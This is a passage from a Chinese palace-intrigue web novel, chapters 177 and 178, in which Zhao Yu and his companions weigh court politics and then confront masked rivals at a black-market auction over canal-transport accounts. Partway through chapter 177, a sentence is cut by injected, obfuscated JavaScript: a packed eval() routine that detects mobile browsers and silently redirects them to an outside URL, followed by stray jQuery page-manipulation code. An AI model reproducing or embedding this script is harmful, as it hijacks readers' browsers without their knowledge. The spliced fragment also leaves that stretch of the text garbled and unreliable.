“不是。”温岭,“我是觉得:天行有常,不为尧存,不为桀亡。” 此时,赵毓却不想笑了,似乎在想什么。 温岭,“况且主上本就生于深宫,熟知王族子弟的行径。风月,不过就是诗酒之类的消遣,主上怎会为了一些琐事而和股肱重臣翻脸?所以我觉得,陛下不会管的。” 赵毓垂了一下眼睑,笑了,“他会管。” 温岭,“呃……” 赵毓,“而且名正言顺。” “啊?”温岭不解。 赵毓,“不过方才驸马都尉稀里哗啦说了一大堆,只有一句话有点意思。” “什么?”文湛问,而温岭还有些懵。 赵毓,“他说我‘前日在微音殿上刚因为高昌王的事惹怒陛下,如今你在他眼皮子底下瞎折腾,不怕主上把你杀了祭旗’?” 温岭,“叔的意思是,您在微音殿上的事儿,是他们以讹传讹?” “那倒不是。”赵毓,“我当时的确因为殷忘川的事口无遮拦,被陛下骂了。” 温岭,“呃……” 赵毓,“不过当时内阁几位大人都在,这事儿也不私密,传出去不离奇。” “那就是我说的。”温岭,“陛下不会管赵叔吟风弄月这些小事的。” 赵毓一乐,“我要是真敢瞎折腾,主上还真能剁了我。” “啊?”温岭又懵了。 赵毓,“但是他绝对不会拿我祭旗。” “都不会。”文湛忽然开口。 赵毓歪头看着他,“什么?” “他不会拿你祭旗。”文湛看着手中的茶盏,没看他,“他也不会剁了你。” 赵毓,“你的意思是,主上可以任由我瞎折腾?” “他不愿。”文湛喝茶,“可是他管不了。”玉雕般的手指,放下茶盏,捻了一块点心,“世上谁能管束兄长的心?” “自然是他。”赵毓,“我说过,他名正言顺。” 文湛抿了抿嘴唇,又给赵毓倒了盏茶。 温岭彻底懵。 他应该能听明白,又什么都不懂,只是觉得脑袋就像眼前邻水边的太湖石。 全是洞。 177. 177 177 温挚领着奉宁和柳密进院,“郡王,柳大人,就是这里了。”随后对迎他们的赵毓说,“其他人在前院,我招呼一些饭食、茶水和点心。” 赵毓连忙道谢,“有劳姐姐。” 温挚让人往这里添了一些茶点,“你们聊,我去看看他们还需要什么。” 赵毓送她出了院门,回来的时候,就看见温岭招呼奉宁,“呃,这位……,哥?” 温岭自然知道姬奉宁的身份,虽然比自己大不了几岁。琅琊郡王是燕王次子,自十二岁就跟随赵毓驻军西北,十年来战功彪炳,回京后,更是任实权军职,二品武勋。虽然在官职上,他与柳密同级,柳密是中枢清要文官,本来可以力压武职,只是,终究无法抵得过王族子弟与生俱来的权势与尊荣。至于自己,一顺天府小吏,就算家里是天子近臣,也在公卿之列,也同这小哥没法比。 赵毓,“大外甥,你得叫叔。不过奉宁的确年轻,你就叫他小叔好了。” 温岭自然接话过去,好好招呼奉宁和柳密,“哦哦,小叔,您好呀,柳大人,您也回来了,来来,这里坐。” 赵毓则向奉宁介绍温岭,“这是靖渊公姐姐家那个娃。” 奉宁清净守礼,对着温岭一揖,“温家女公子好。” “……” 众人似乎这才意识到,温岭被赵毓打扮成一满头插簪的壮硕少女,直到现在还没卸妆。 良久,温岭,“小叔,您连我是公是母都分不清吗?” “自然分得清。”奉宁说,“我也知道这份装扮应该是我兄长的手笔,只是,我想着,温公子以此示人,也许想做女娇娥也未可知。” 温岭,“您怎么还知道这是我赵叔捣鼓的?” 奉宁,“我在西北做过斥候,有时就是这样装束,都是兄长做的。” 温岭,“这种装扮出去干吗,吓唬人那?” 奉宁,“自然是刺探军情。兄长说,这样才是西北难得一见的好看姑娘。” 温岭用手指着他,又指了指赵毓,颤抖了两下,一声长叹,“我去洗脸。” 他一走,奉宁和柳密离座就要给文湛行大礼,直接被赵毓拦住,文湛说,“在外从权,不必拘泥。” “是。” 他们重新坐好,此时奉宁从怀中掏出一个封了口的葫芦,撕开蜡封,里面是烈酒,将酒水倒出,则是那枚玄铁虎符,用油纸包裹,双手奉给赵毓。 柳密,“呃……” 他没见过这个,第一次看到臣子奉还虎符得用酒泡,不知道是个什么讲究。 赵毓,“现在事儿多,虎符呢我得随身带着,然后呢,它又得和我吃饭的家伙事儿放一块,经了旁人手我就觉得不太干净,习惯用烈酒泡泡。” 说着,他反手把虎符递给文湛,文湛则将它收入荷包当中。 柳密,“……” 温岭回来,赵毓向他招手,“温岭你赶紧过来,以一个外人的感觉,向你这几位叔讲讲方才驸马都尉赵庸说过的话。我忒烦他,我怕自己讲的有失公允,也参不透他说话几分真假。” 温岭倒是楞了,“叔烦赵驸马?我刚才看着您与他熟稔,特别亲近。” 赵毓呵呵了一声,“我从小就烦他。当年他们赵氏伯府俩儿子,都是大老婆生的,他是老二,不能袭爵,于是就把主意打到了公主身上。要说也不是不行,他家世位列公卿,年纪不错,尤其是模样,挺俊俏的,还当真可以,于是先帝就允婚了。” “而且我这个长姐还有一点特别难得,就是她妈是先杜贵妃,出自昆山杜氏,贵妃父兄皆为阁臣,横霸朝纲二十余年。这种尚主并且公主外祖家权势滔天的婚事肯定会有一些约束,不会任由驸马狂振夫纲。我长姐不允许丈夫纳妾,就这一点,这驸马好像受了八百辈子的冤屈,整日以泪洗面。然后这杜家不是倒了吗?这驸马觉得自己终于能抖起来了,马上从江南买了十个瘦马过来,被我姐一接手,全养成了胖马,烧火的烧火,种花的种花,蒸花卷的蒸花卷,驸马一个都没挨身。” “夫妻俩的梁子估计就是这么结的。” 温岭,“呃……” 赵毓,“我刚才听他的意思也是遮遮掩掩的,他那个意思还是说,万一长公主犯了什么事儿,能不能就把这个罪控制在宗法内,就是王族家法可以治,就不要再涉及国法了。这样他,尤其是他儿子,就能摘出来了。可问题是,我都不知道他们到底做了啥,我怎么知道能不能控制?再说,还有可能他们什么事都没有,虚惊一场呢!” “说实话,我特烦他们搞这些权谋。这些人都笨,弄的这个城府那个谋略,就跟开蒙的时候没学会好好说话或者头壳被敲碎了一样,要么就是一句话说不成人话,要么就是丢字落字,可烦人了!” “温岭,你说吧。” 温岭,“……” 赵毓,“说吧,没事儿。” 于是温岭简明该要,先将赵毓猜测沈熙载女儿与驸马长子退婚一事,其实是长公主的手笔的事情讲了。 赵毓,“我这个姐,我也烦她。” “我们俩小的时候是挺好,长大了,尤其是她嫁这么个人家,好像把小时候那些灵气都磋磨没了。之前杜氏还掌权的时候,她挺温良恭俭让,因为都不用她开口,她想要的不想要的,只要能入眼的,自有人捧到她眼前。她周围都是这种人,脾气自然温婉。可是杜氏一倒塌,说实话,她的倚靠是塌了一半,周围就不那么和善了,很多东西需要她开始争,脾气秉性也就变了。” “我这个姐改变的地方不太对劲,不知道她跟谁学的,径直开始揪着驸马睡女人这件事儿就过不去了。不让驸马纳妾,这个驸马倒是能欺上瞒下,索性就不纳妾了,直接睡觉不给名分。堂堂一个公主府,一窝子通房大丫头,当真不像个样子。” “闹成这样,她要是不开心了就进宫里哭。先杜贵妃不在了,可我娘在呀,她对着我娘哭。我娘看在我们俩从小的情分上,也只能陪着她哭。有一次我看她娘俩哭的都成烂桃了,我给出了个招,让长公主回去把驸马给阉了,这样干净利索,一了百了。这行当司礼监熟,我让黄枞菖去帮忙,老黄不敢去,我就换了个招数,让他回去找些痿药灌驸马吃了。驸马不能人道,公主府就清净了,可是,长公主又不乐意了。” “我这好心眼也没捞到好,被我娘用草鞋揍了一顿。” “倒霉催的。” 沉默了许久,柳密忽然说,“这赵氏驸马,倒也厚道。” “啊,啥?”赵毓不解。 柳密则说,“驸马都尉深知赵先生与长公主姐弟情深,出此下策不过就是护姐心切,因而没有深究。” 赵毓,“他有什么可深究的?” 柳密,“倘若赵氏一纸奏折将您弹劾到陛下面前,岂非令圣上为难?” 赵毓看着他,有些入神,过了一会儿,一摆手,“不可能!驸马要是当真废了,他们家一定捂紧嘴巴,一个字儿都不会流落出来。” 柳密摇头,“倘若长公主亲自提告呢?赵驸马毕竟是她的夫婿。清官难断家务事,这夫妇之间自有一些不足为外人道的隐秘。长公主进宫谒见太贵妃,不过就是寻求一些慰藉,太贵妃必定懂得,不然以太贵妃之权柄,何故无法制衡赵氏驸马,而仅仅只是陪伴长公主?” 赵毓一直信服柳密,此时也当真开始寻思了。 柳密,“赵先生天潢贵胄,自然无需同凡俗之人一般谨小慎微、步步为营。可那些筹谋之人,也许并非天生奸诈,愚钝不堪也未可知,而沉迷女色,则可能就是揣摩之后的胡乱自保。赵氏驸马过府陈情语焉不详,可他毕竟来了,想保赵氏血脉也是人之常情;清河长公主心思莫测,可她毕竟退了与兰芝社沈氏的婚约,也算一种表态。” 赵毓,“柳大人的意思是……” 柳密,“赵驸马的话,应该是可信的。” 赵毓想了一下,立刻说,“温岭,你将我这赵姐夫后来说的话,再复述一遍。” “……” 没人说话,赵毓又叫了他一遍,“温岭,你愣着做什么?” 温岭的眼光在奉宁和赵毓脸蛋子上来回看了看,“赵叔,我觉得小叔和您长得不像。” 赵毓,“这不废话吗?奉宁和我虽然是堂兄弟,可我们又没有血脉之亲,自然长得不像。” “可是……”温岭看了看眼前这几位‘叔’,最后的目光落在文湛身上,“郡王的眉目,却同六叔有几份相似。” “你是说郡王生的好吧。”赵毓一乐,“温岭在顺天府,果然通人情世故。不过像你六叔、小叔他们这样人,不喜旁人说生的好,显得没有气势。” 温岭,“可我每次说六叔生的好,他都没生我的气。” 赵毓,“你从来没说过你六叔生的好,你每次都说他长相瘆人。” 温岭,“呃……” 赵毓拍了拍他,“不过你六叔为人厚不厚旁人不敢揣摩,心胸的确极其宽阔,不会和你这个小孩子计较的。” 温岭,“呃……” 这话,怎么这么熟悉?在哪里听过……,还是自己说过…… 赵毓,“成了,咱们说正事儿。” 温岭带着一脑门子的疑问,认真回想了一下方才赵庸的说辞,“驸马都尉说,这次在黑市与我们争抢货物的那三家,其中两家同我们之前预料的一致,就是兰芝社,沿河四族,最后那一家自然就是清河长公主。” “他们之前在雍京看过一幅画,是如今江南书画大家董玄廷的珍品,是摹版,临摹的是枯笔派大师探微散人百岁临终之前最后一副山水,画面上点了八个字,这些六叔之前都猜到了。” “只是……” 温岭的确很是疑惑,“这幅摹版是董玄廷于先帝凤化年间在雍京做翰林的时候临摹的,致仕后带回姑苏藏于江南,六叔应该是没见过的,六叔也知道这幅画作,那么见的必定是这幅山水的真迹了。可原版是元宗章皇帝的珍藏,收入大正宫逾三百余年,六叔是如何见过的?” 赵毓,“你六叔和翰林院那帮子酸文假醋挺熟的。” 他这话其实倒是十成十的大实话,毕竟翰林院最拔尖的那伙人都在微音殿伺候文湛笔墨,也不能说文湛同他们不熟。还有,既然董翰林在雍京的时候能临摹画作,翰林院和画作之间肯定有些关联,赵毓这话也算回答了文湛为何能看到大正宫的珍藏。 温岭,“啊?” 柳密则问,“驸马可明说了,黑市被争抢的货物是什么?” “没有。”温岭,“驸马看出来赵叔是误打误撞,并不知道底细,就没说。” “咳!”赵毓一讪,“这群货凑一块互啃撕咬,争夺的东西肯定是要命的玩意儿。今天夜里是最后一轮拍卖,黑市有黑市的规矩,咱们既然入了圈,竞价包厢里就有咱一席之地。先休息,等入夜,咱一同去幻境,敲碎葫芦,看看里面到底卖的是什么药。我再去问问赵简,他们骗走了几个妇人,不知道想要做什么。” 温挚让人安排了几间空屋子,安顿众人修整。温岭则被奉宁随身带着的一筒子箭吸引了。这是一个麂皮包裹的箭筒,有些陈旧,手指常触摸的地方几点秃皮,看着就知道,用了很久了。 “小叔用什么弓?”温岭只看到簇新的利箭,却没见奉宁带弓|弩。 奉宁,“我接兄长虎符着实紧急,人又不能多带,怕箭不够用,就多装了一些出来,没带弓。” 温岭,“没带弓,如何射箭?” 奉宁,“用手空掷即可。” “啊??!!!”温岭大叫,“小叔的武功已经高到如此出神入化的地步了吗?” “高吗?师尊就是这样教我的。”奉宁也是意外,“我在西北跟随兄长,有的时候要翻越沙漠戈壁,多带一分东西就多一分负担,自然会舍弃弓|弩,而箭簇则是杀敌防身的关键,多多益善。” “小叔的师尊当真是不世出的高人!这简直就是话本中的神仙!”温岭愈发有兴趣,“王族子弟武学教养大抵在内廷,小叔骑射尤为出神入化,您师尊他老人家如今可在雍京?” 奉宁,“我的骑射是在西北学的。” 温岭,“西北有如此高人,是谁?” 没等奉宁开口,柳密接过话茬,“温岭,郡王的事情关乎军机,不要再问了。” “可是……”温岭很是不解,只是听见柳密亲自说出这样的话,他不能反驳。 柳密让他也休息一下,夜里还有一场硬仗。 等送走温岭,柳密回来,奉宁说,“柳大人知道我师尊是谁,这些年,兄长在西北与雍京往来的公函中都写明白了,未曾隐瞒,并非机密。” 柳密,“即使并非机密,也不需天下皆知。” 奉宁想起赵毓曾说过柳密,枢机重臣,心思慎密,却为人正派,他说的话赵毓都信服,于是连忙道谢,“柳先生教诲的是,奉宁疏忽了。” 柳密,“郡王不嫌我托大就好。” “怎么会?”奉宁,“柳先生清正,我兄长也十分敬重先生的。” 赵毓请温挚从她的人马当中挑选几个壮汉,看看能不能让赵简老实开口。 花藤下。 文湛重新煮了一壶茶,赵毓就坐他身边,认真看着水滚。 “方才哥哥看柳密说话,很是入神。” 赵毓微微扭头,抬眼,“他责问我那句——岂非令圣上为难,让我想起来十年前。” “那时柳密抄我家,查出三十万两白银抬进户部顶了来年春播的开销,只给我留了二百五两银子过年,扣下我老丈人,却又扛着千钧为西北开销了二百七万两白银的军饷。” “当时,柳密送我出城,也是责问了我一句,——您不应该再恣意妄为,陷主上于言官口中的偏听偏信,如此行径,岂是人臣所为?” “文湛,虽然我总是说我们给人做臣子的自然要分君之忧,可是我的确不如他们慎密,想的不够周全,我是不是总让你为难?” 文湛将茶汤澄清,“没有。” 赵毓,“嗯?” 文湛,“那日夜里,燕王走后,我说过,该我承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729035|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担的自是由我来承担。为你,应做之事,不为难。” “只是……” 文湛拿着茶盏用热水温一下,就倒掉了,“柳密此人却令我为难。” 赵毓,“啊?” 文湛,“他是忠心事主,所以我不能说他,可他终究是外人,对你的事,管的有些过宽,这就令人极不愉悦了。” 赵毓,“……” 文湛,“是哥哥说过,我可以名正言顺管束你的。” 赵毓掐着自己的人中穴说,“陛下,这个名正言顺是不假,可是这个名正言顺也要在合情合理的范围内。柳密什么人陛下还不知道吗?他本身就是御史出身,有规劝进谏的职责,只不过他说话比较家常,又不想搏名声,所以不像在承天殿撞柱子的那群沽名钓誉之徒的模样。可不能因为人家这样和蔼可亲,就说人家有私心不是?” “所以……”文湛,“哥哥是因为柳密而骂我喽?” 赵毓掐自己的人中穴的力度又加了一分,“那陛下画个章程。” 文湛,“以后哥哥不要吃他做的腌萝卜。” 赵毓,“这属于人情往来……” “我竟不知。”文湛自己为自己到了一盏茶,“哥哥许我的名正言顺,连一坛子酸萝卜也约束不了。” “约束,约束,必须约束!”赵毓连忙说,“不吃了!” “嗯。”文湛颇为满意,将手中自己饮过水的茶盏放下。 赵毓松开掐着自己人中穴的手指,把文湛放下的茶盏拿起来,一饮而尽,同时手掌一拍桌子,异常豪言壮语,“我以后再也不吃柳密做的酸萝卜了!” …… 落日之后,柳密从竹林向外走,正好看见温岭。 “柳大人,赵叔差我去做事。”温岭过来,“咱顺回来那个长公主府的家奴,对于他们骗走的那些妇人们的事,死活不开口。郡王带人去散花溪涧,人去楼空,咱什么都没捞到。回来后,赵叔揍了那老小子几拳,结果人家没事儿,我叔他自己手疼。我叔的意思,刑讯这种死士,咱这里没人才,也没刑具,这家奴要是死扛着就是不说,咱还真没辙。” “我是觉得他好像特别惧怕六叔,这小子刚落到咱们手里的时候,还梗着脖子,出来一见到六叔骨头都碎了,不如请六叔去问?可赵叔说,六叔煞气太大,如果他亲自问,就怕这个家奴当场暴毙,那就什么消息都断了。” “六叔虽然长相瘆人,但是个好人,可看赵叔说的跟真事儿一样,我也不就不好反驳。这实在左右为难,于是赵叔又想了个招,让我出去找一下当地的衙门口,看看,这些地头蛇和他们的七大姑八大姨们,能不能多方打听打听,谁家姑娘媳妇没归家。” 柳密看着他没说话,下沿着青石路走了两步,终于还是说,“嗯,赵先生这么吩咐,那你就去办吧,希望能有个结果。” 幻境那边传过来令牌,今夜的令是“傀儡”。装扮起来到也容易,不过昨夜的衣服,再加上一套面具,遮住脸蛋子就好。 等到要出发的时候,温岭回来了,一无所获,“我出去的时候遇到柳大人,他那个意思好像是未卜先知,早算出来我捞不出什么。” “倒也不是未卜先知。”柳密手中拿着一只狐的面具,“只是诸位皆为公卿皇族,儿女结亲自有规则,聘礼嫁妆各有礼法,这同一般人家不同。有些人家嫁女儿要了高聘礼,女儿出门生死勿论,等同卖女,而散花溪涧要妇人给出的价钱又高于此数倍,苦主得了银两,未必愿意承认自家卖女,也绝不愿意退还银两,极有可能置若罔闻。” 赵毓听完,手中拿了一只猫的面具,翻来覆去,长长叹气。 “不过赵叔,我这次出去,到也不是一无所获。”温岭挑了一只羚羊的面具,“我听说,您那个亲外甥也到了朱仙镇。” “谁?”赵毓不知。 温岭,“赵洵美,清河长公主的长子。” 赵毓,“他来做什么?” “这我哪儿知道!”温岭,“别是找叔您要媳妇的吧。” “拉倒吧。”赵毓抓抓头发,“他那个退了婚的准老婆和我八竿子打不着。那女娃和我闺女是同窗,我再不靠谱,也不会找这么个小丫头进门,让我闺女管她叫妈。” “我也这么想。”温岭倒是认真点头,“其实我听了这些事儿,也觉得这群人莫名其妙,感觉就像一群瞎猫到处乱挠,甭说活耗子,死耗子也碰不上一个。” “先王妃已薨,赵叔即便就是想续弦,也得遵循祖宗的规矩。既然您人到了猎场,就说明保住了玉牒,只是您到底姓赵,平定西北的大功业再加上没卸甲的兵权,按照祖宗的成法,您的继任王妃理应是公主。与王族结亲就是血脉相合,您安全,大家都安全。” 赵毓,“如今大正宫没有未出阁的公主,唯一和我年纪相仿的就是这位清河长公主,不说我们从小一起长大,的确是姐弟,单说人家儿子比你还大了。” 温岭,“没有适龄的公主,姬姓宗女也成。” “我续弦了。”赵毓整了整面具,把猫头套在脸蛋子上,“我妻确为姬姓。” 温岭,“啊?……” 此时,文湛过来,将昨夜在幻境买来的机弩,仔细挂悬于赵毓后腰间。 文湛拿的面具是“孔雀”,奉宁拿的则是“喜鹊”。至于奉宁带来的人马,拿到的面具更是五花八门,不过终究脱离不了飞禽走兽。 “禽兽就禽兽吧。”赵毓炸着手,摆姿势,文湛给他挂机弩,他嘴还不闲着,“反正能在雍京混到有头有脸的都不是啥好人,装扮成禽兽倒也恰当,只要不是蛇虫鼠蚁就好。不过温岭,你娘这里怎么有这么多木头面具?” “中元节做的。”温岭的羚羊脑袋晃了一下,“去年年景好,银价稳定,佃户们收成不错,朱仙镇这里弄了一场鬼傩,我娘也凑热闹,就做了一批木头面具,在庄子上玩耍了一番。” 赵毓,“傩舞的面具不应该都是鬼神什么的吗?” 温岭,“我娘不信那个,就说雕一些鸟儿啊,狐啊,猫狗什么的,看着喜庆,也好看。再说,让木匠折腾一次也挺折腾的,扔了怪浪费的,弄些活物,以后庄子里的娃玩杂耍的时候还能用。喏,这次咱杂耍,不就先用上了吗?” 赵毓,“……” 到时辰了,众人向外走。温家毕竟是侯门公府,不要说雍京温氏公府滴水檐高耸入云,即使是小镇上的院子,石头砌的后门愣是比旁人的宅子高三分,今夜,这群人鱼贯而出,仔细高迈腿也是一景。 赵毓等文湛牵马过来,忽然扯住温岭说,“方才认真想了想,等回京,我给你在柳大人那里谋个差事。你跟着他,看看人家说话做事的派头,只要学会一两成,前途无量。” “啊?”温岭,“为什么呀?” 赵毓,“雍京全境不比你们顺天府小衙门,不会说话很容易被言官抓住把柄。” 温岭,“可我不想在雍京混啊!” 文湛牵了马过来,赵毓拍了拍温岭的肩膀,和善又凛冽,真诚又险恶。 温岭,“……” 178. 178 178 赵毓大约分派了一下人手,他自己跟在文湛身后,奉宁照顾柳密,其余人手跟随,至于温岭,就自己顾自己。 他和奉宁大约说了一下昨日在这里的情形,“既然这里的黑市买卖能做大,估计的确有一些过硬的行规,应该跟咱们在西疆边境上见过的差不多。柳大人和你都是第一次来,他一直在京师,没见过这么邪性的地方,你照顾好柳大人。” “是。”奉宁点头。 “叔,您怎么把柳大人也带来了?”温岭得空凑到赵毓身边,“他可当真是文官,不会打架的。” “我怕这帮人设置的关卡需要背《论语》。”赵毓,“我得请个大拿。” “不止。”温岭的手指摇了摇,“我娘做买卖就不错,可她说,和赵叔您还相差很远。好的买卖人有一点,就是物尽其用、人尽其用。赵叔您用人肯定不止用一点。柳大人背《论语》肯定是大拿,可他写弹劾奏折也是大拿。赵叔这次调兵,是不是也听说这些世家门阀养私兵,您下根棍子看看水面底下的深浅,总得找个人做个见证。我这种顺天府小吏人微言轻,郡王是您的人,六叔也是,说话都不够公正,只有柳大人说话,主上不疑,才能让人信服!” 赵毓,“你晚饭是不是吃藕了,怎么一下子长出这么多心眼儿?” “温岭。”此时,文湛的手压在温岭的肩膀上,把他撕离赵毓身边,“你身在公门,重任在肩,责无旁贷,你走前面,去吧!” 温岭,“……” 今夜的‘幻境’果然很是‘傀儡’。从进门开始,就处处安放着黄杨木雕刻的玩意儿,影壁墙旁摆了一套傀儡摆的《游园惊梦》。但是这些傀儡一看就知道是连夜赶工的,人物面容模糊也就算了,有的还缺胳膊少腿,更过分的是,杜丽娘的一只手只有两根手指,另外一只手上有六指,还张扬舞爪着,反衬着她不像是想男人想死的柔弱名门闺秀,到像是死不瞑目的兰若寺的女鬼。 温岭不信神鬼,可是他胆子小,看不得这种诡异的木偶,只是觉得浑身发毛,可他被文湛丢在最前面,想要抓赵毓的袖子有些遥远,于是伸手揪住了柳密。 “柳先生,您煞气大,帮我挡挡邪。” 柳密不说话,任他揪着,回身看了看赵毓。 赵毓则认真看着周围,他对文湛低声说,“挺安静的,我感觉少了一些人。” 文湛,“自己人?” 赵毓明白文湛口中的‘自己人’,其实就是指清河长公主。只是,此时的情况的确有些古怪,于是答,“也许。” 他们继续走。 最后来到大花园的高耸戏楼,当真就只有他们,等了一刻钟,才过来一队黑呜呜的人,面具都是黑色的无面,不像赵毓这边飞禽走兽。 赵毓对文湛说,“除了咱们应该还有另外三家,可看如今这情况,不知道是有人退出了,还是他们合三为一了。” 蓦然,一声悠扬却苍凉的乐声响起! 阳关三叠。 那种乐声,好似一根丝带,缠绕着,飘荡着,从雍京一直向西,直指丝路。 赵毓,“是筚篥。” 他在朱仙镇河水浮游上与之相遇,一路追寻,直到此处。 赵毓的声音飘忽、清冷,却是平静的。 似乎。 他了然,这不是偶遇,而是一种久别重逢的宿命。 昨夜在这里唱钟馗嫁妹的那群人,行头还没换完全,就开始扮上《牡丹亭》,鬼差的红艳冲淡了闺门幽魂的哀怨,反而带出一股铿锵的杀伐之气。 随后,钟馗捧了一纸婚书,却到柳密身前。 赵毓楞了,可是他的表情在猫头面具之后,无人看见。 ——想来,这钟馗在装扮了一会儿杜丽娘之后,终究还是要嫁妹。 柳密带着狐狸面具,似乎也沾染了狐狸的性子,带了些野兽的气息。他看见婚书丝毫没有迟疑,从旁边的‘钟馗小鬼’手中拿过毛笔,径直在婚书上点了字,不管上面是个什么题,他都应承了下来。 接下来就一些常见的高门招婿的花招,诸如问男子出身,前途,家中亲族什么的,柳密一一作答,连磕都没有打一个,却全部都是现场胡编乱造的,甚至于大酸枝木桌上还在五步之内做了一首七律,左手淡墨狂草,叙说自己对钟馗的妹子这样一名未曾谋面的女子真挚的爱怜,这让猫头后面的赵毓下意识摸了摸自己的良心,瞬间,丰厚充盈的感觉充满了他的胸腔。 柳密放下毛笔的时候,此时对手中打擂台那人也完结诗作,却没有离开桌案,而是两步过来,一伸手,握住了柳密左手。柳密下意识松弛,而奉宁怕此人趁机出阴招损柳密执笔之手,抽短剑压于那人前臂作为警告,那人松了手。 “郡王不必如此紧张。”那人低声道,“我只想看看,这位先生是否能握刀剑?” 奉宁,“不能握,又如何?” 即使对方试探了柳密的手,这种事根本无法掩盖,即使奉宁知道柳密自幼家贫,当真做了许多农活,并非手无缚鸡之力的书生,可是柳密的力气当真也只能用来缚鸡了,绝对无法握住刀剑的。 那人说,“先生左手尚能握笔,已是万中幸事,何必搅入这浑水之中?” 这话说的云山雾罩的,直接探柳密左手,直接称呼奉宁为‘郡王’,猫头后的赵毓忽然明白,此人定然知道这一行人是自己的人,并且,他认出了奉宁,却将柳密错认自己了。毕竟,自己左手被殷忘川重伤的事情,在雍京和南苑都已经是公开的秘密,看来赵毓从南苑调琅琊郡王并兵马来朱仙镇,业已被有心人探知了。 柳密却没言语,赵毓心知他也知晓,并且有意继续隐瞒。他不出声,自然是心知肚明他同自己说话声音不像,怕开口露馅,可是在对方眼中,想必诸多可能性褪去,只剩傲慢这一种情绪而已。 那人一声叹息,奉宁敏锐觉察到一丝丝的善念,“先生可否告知,此处究竟有何洞天?” “锵……” 异常轻的一声,金石的颤音。 此时,夜空中浓云裂开,月华如同流水一般,从天际倾泻而下。 花园中古木参天。 极度寂静。 这种静却无法让人心安,它似乎包含了最喧嚣的杀戮之声,吵闹到血向腔子上涌,已经快要绷不住弦了。 奉宁连忙揪住柳密的袖子,将他向身后一拽,横剑于身前。 “不要动手!”忽然自戏楼中跑出来一个精悍的半大老头儿,扯住柳密的袖子,“不过是个女人!再少见,再稀奇,在赵先生这里,也只不过是庸脂俗粉,玩意儿而已!赵先生如果有意纳小星,我再寻一些绝色,江南漠北,环肥燕瘦,包君满意。” 柳密不认得他,可是赵毓认得! 昨日在朱仙镇河边,他听见筚篥的声音,就同温挚上了此人的画舫,见了屠明珠,也询问了艄公,探知那条画舫异常可疑靠近了南苑水域,请温挚一直派人盯梢,亲眼看见他们把人或者是货物送进了幻境。 画舫上,他表现的不识得赵毓,以为他是温氏子弟,谨慎而有礼,却未特殊注意,想来此时业已明了。 他是漕帮尤七。 “女人?”柳密即使不了解全部,可也是个出奇明白的人,“美成什么样子的女人值得你们这么大阵仗?” “锵、锵……” 连着两声,金石的颤音。 像武器,也像是琵琶奏出的十面埋伏。 文湛取出一张细小的弓,他的拇指按住弓箭的前端,啸响一声,弓身瞬间拉长,几声咔吧的声响过后,这张弓变成之前的三倍,弓弦自动张开。他拿出三支极细的箭,搭在弓弦上,拉弓的拇指上是昆仑玉与玄铁做的护指,陡然拉开弓弦,对准戏楼高台之前的悬匾!——哧!第一支细箭射|出! 巨大的匾额被文湛的细箭劈开,掉落碎裂! 此时,细箭标射之处,有女声悠悠传来,“再美的女人在你眼中也是尽成沙土,赵毓。”便是几声笑,怪桀而优美,好似拉莫孔雀河谷的死灵,天山上的神女,敦煌壁画上的飞天。“你们说会从赵毓手中救出我,保护我,将我活着送出雍京!” “可是……你们连戴上面具的赵毓是谁都分不清!这个弯弓搭箭的六公子,才是追随他形影不离的狗!” “杀了他们所有人!” “只要今天赵毓还是有一口气,先夫手中仓场的账,就是他的!” “胡说八道什么?”赵毓怒,“你才是狗,你们全家都是狗。” 不对! ——仓场? “漕运!”赵毓拉住文湛,“原来他们争夺的是漕运!” 从北方军需民生依靠漕运开始,历经上千年,整条漕运通道被各方势力占据到满满当当。每个码头,每个河湾,甚至每瓢河水都被盘踞着,利益纠葛盘根错节,权力博弈犬牙交错。外人看这里,就像是用河堤石块密密麻麻累积,用掺和了糯米浆水的河底淤泥厚厚涂抹,形成针扎不进、水泼不进的高墙堡垒。 不说它每年吞灭了多少漕粮,只说北境一旦开战,军需调度立即就要依靠这条运河联结河、淮、江三大水系形成的漕运通道,晚上一刻,窄上一分,出征北境有可能有去无回。 杀戮一触即发! “等一下!”赵毓忽然摘掉猫头面具,露出那张清秀却苍白如生宣一般的脸,“这天也黑了,我就不卖关子了。” 文湛将他护在身后,稳稳的,一丝可被攻击的嫌隙也没有。赵毓一手撑着文湛的肩,一手扯着他的袖子,嘴巴一边说,一边用眼睛在对方黑压压的一片无面人当中来回寻摸。 “你们有人知道我是谁,可是有人还不知道。这不知道的人贸然跟着动了手,当真死了,残废了,被抓了,岂不是冤死?” “我叫赵毓。” “但我不止这一个名儿!” “我亲爹姓赵,可他死太早,那个时候我还没出娘胎,我娘大着肚子嫁给我老爹,我老爹有钱有势,所以,自我出娘胎,我就跟我老爹的姓儿!” “要说你们今天杀一个赵毓,不是啥大事儿,顶多就是首恶必除、从犯流放。可是,我毕竟不止是赵毓,我还有个有钱有势的老爹,我就是他老人家的儿子。杀了他老人家的儿子,可是要被万刃凌迟的!” “你们知道这是为啥吗?” “废话真多!”忽然,那些黑衣无面人当中,有人开腔,“即便来日身受凌迟大罪,今日也绝不留你性命!” “如果……”赵毓些微扯了一下文湛的胳膊,使他弓弦上第二支细箭瞄准的地方东向偏了三分。 “不仅是凌迟呢?” “如果,罪在不赦,九族尽灭呢?” “伙计们,人犯傻也得有个限度,别等着你们全族尸骨成灰,没后人,没香火,逢年过节连个烧纸钱的都欠奉,可那些没卷进来的人们呢,在老家好生待着,没被杀,没被清算的,得了你们的好,一家和乐,吃香喝辣,早把你们忘九霄云外,那你们当真是蠢成猪头了!” “危言耸听!”黑衣无面人当中,又是一个声音,“赵毓,此时此处,杀你一个废王还担不起灭九族的重罪,我们数十条性命尽丧于此地,一人身死足矣!” “是吗?”赵毓轻声,甚至带着几分笑意,“赌吗?” 文湛手向上抬高两分,——哧!第二支细箭射|出! 正中那人眉骨之心! “陛下亲临……”赵毓喘口气才说,“……南苑猎场。王族领地及以南至朱仙镇,任何阴谋诡计皆为大不敬,以谋逆论处,想活命就放下屠刀!” 